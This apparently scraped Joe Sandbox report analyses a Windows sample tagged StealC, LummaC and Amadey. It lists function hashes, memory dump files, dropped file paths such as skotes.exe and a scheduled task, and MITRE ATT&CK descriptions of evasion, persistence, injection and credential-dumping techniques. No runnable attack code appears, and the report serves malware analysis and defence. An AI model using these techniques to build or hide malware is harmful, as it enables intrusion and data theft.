Instruction Fuzzy Hash: DAF0B236505129ABCF225F91EC058EF7F66FB08B61B549415FD096A130C6729861EFA0

Function 00ECB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00ECB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ECB961

Strings

pContext, xrefs: 00ECB959

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 37eb7499e010813bbbe7a43da7df301c331b6a615bad6096219dcbdb1a768e0e
Instruction ID: db22897c1da97c6f25c9298d706453fbb5b13c71cca43449b0c33281ff33a962
Opcode Fuzzy Hash: 37eb7499e010813bbbe7a43da7df301c331b6a615bad6096219dcbdb1a768e0e
Instruction Fuzzy Hash: 2CE0D139B0020CA7CB14F765D845CAEB7B99FC4714714515BF611B3351DB70AD05C9D1

Function 00EC34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EC34FC

Strings

version, xrefs: 00EC34E1
pScheduler, xrefs: 00EC34F4

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: fd0693065480ad1513ae98cd78f5f1d7e20b67460fdd3c0e0b78c3c5085a9cca
Instruction ID: 087230e15fe632bc3ff5a367eb1e5bd6ae931914d56691f88d4c8cbaedd3ebca
Opcode Fuzzy Hash: fd0693065480ad1513ae98cd78f5f1d7e20b67460fdd3c0e0b78c3c5085a9cca
Instruction Fuzzy Hash: C6E0863484030CF6CB29FA64D947FDCB7A4AB14749F14E12BB920311919BB59789CA81

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 8WRONDszv4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2d537c36c0.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe

C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe

C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe

C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Windows\Tasks\skotes.job

Static File Info

Windows Analysis Report
8WRONDszv4.exe

Function 00025C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Function 00029BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Function 00029F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Function 0002A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Function 0002A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre